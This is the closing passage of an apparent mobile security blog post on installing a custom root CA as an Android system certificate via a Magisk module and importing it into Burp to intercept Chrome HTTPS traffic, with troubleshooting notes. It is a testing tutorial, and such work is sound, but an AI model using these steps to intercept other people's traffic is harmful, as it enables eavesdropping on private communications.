 X509v3 Authority Key Identifier: 
 keyid:B9:CA:08:19:9A:5F:AE:63:3C:50:83:BC:A1:FA:36:00:B9:66:55:53

X509v3 Basic Constraints: 
 CA:TRUE
 Signature Algorithm: sha256WithRSAEncryption
 04:33:11:54:aa:dc:f1:92:d6:30:88:89:0b:56:f6:07:ff:aa:
 28:65:21:aa:ea:72:3b:72:ba:3d:14:66:33:2d:67:de:80:23:
 10:0c:30:31:32:e0:6c:20:a6:6a:58:6f:d4:5b:db:fc:61:de:
 9d:d3:4e:66:1d:a1:ed:26:d4:1b:ce:a2:fc:4b:ab:d0:4f:04:
 2c:a8:e3:68:7d:e7:dc:04:3d:8c:31:85:e6:c2:d8:65:f0:f6:
 64:f2:23:ce:b1:91:43:34:57:97:e4:fd:79:79:f7:03:8b:1a:
 fc:42:ac:fe:78:26:25:aa:7b:65:2f:f8:4e:25:8e:e9:1e:ce:
 93:c8:02:ba:04:59:6c:0e:e4:f2:a8:2f:cd:69:58:42:28:ff:
 6f:7c:27:3c:b8:ed:2a:10:e2:36:bd:f5:b9:62:f1:8a:14:57:
 b8:2e:90:db:15:ce:f2:3a:79:57:f9:a4:76:ef:e9:08:0d:aa:
 1d:b9:eb:b9:08:cb:58:06:19:6d:ef:07:d9:25:f4:4d:a4:28:
 d3:db:ec:c1:5a:0f:40:3a:cf:49:44:d5:8d:b2:42:53:3a:35:
 55:0b:54:67:da:b4:13:dc:52:31:10:d4:8c:8d:7f:29:40:bb:
 dd:14:3c:c3:a3:66:24:95:64:91:a4:a8:74:a6:ad:92:fc:8c:
 87:38:31:03

The generated certificate has the v3_ca extension enabled, so we can import it into Android. Using our magisk module, you can install this certificate through the normal certificate installation flow, and after rebooting your device, the CA should be listed in the system CA store.

Screenshot_20180111-173557

The next step is importing these files into Burp. Go to the proxy settings page and choose “Import / Export CA Certificate” -> “Import” -> “Certificate and priate key in DER format”. The correct files to choose are `ca.der` and server.key.pkcs8.der:

burp

After installing the certificate, restart Burp just to be sure.

If everything worked, you’ll now have your custom root CA as a system certificate, and you can intercept all chrome traffic.

It took quite some time to figure out the correct procedure, so I hope I’ve at least saved someone else from spending hours trying to figure it out.

And, in order to help anyone searching for the correct answer, here’s a short overview of the problems I encountered:

  • NET::ERR_CERT_VALIDITY_TOO_LONG (-> Make sure your certificate’s validity is not longer than 39 months)
  • Custom root CA won’t install correctly on Android (-> Make sure it has the v3_ca extension)
  • Burp import errors (-> Follow the steps above for correct setup)
    • Failed to import certificate: java.security.cert.CertificateParsingException: signed fields invalid
    • Failed to import certificate: java.security.cert.CertificateException: Unable to initialize, java.io.IOException: extra data given to DerValue constructor
  • OS X / MacOS openssl: Error Loading extension section v3_ca (-> Copy the openssl.cnf file and manually add it as an argument with -config )

 

About the author

AAEAAQAAAAAAAAYHAAAAJGUzZmUxMmVmLWY3M2MtNDRmNy05YzZlLWMxZTk1ZTE5MWYzMQ
Jeroen Beckers is a mobile security expert working in the NVISO Cyber Resilience team. He also loves to program, both on high and low level stuff, and deep diving into the Android internals doesn’t scare him. You can find Jeroen on LinkedIn.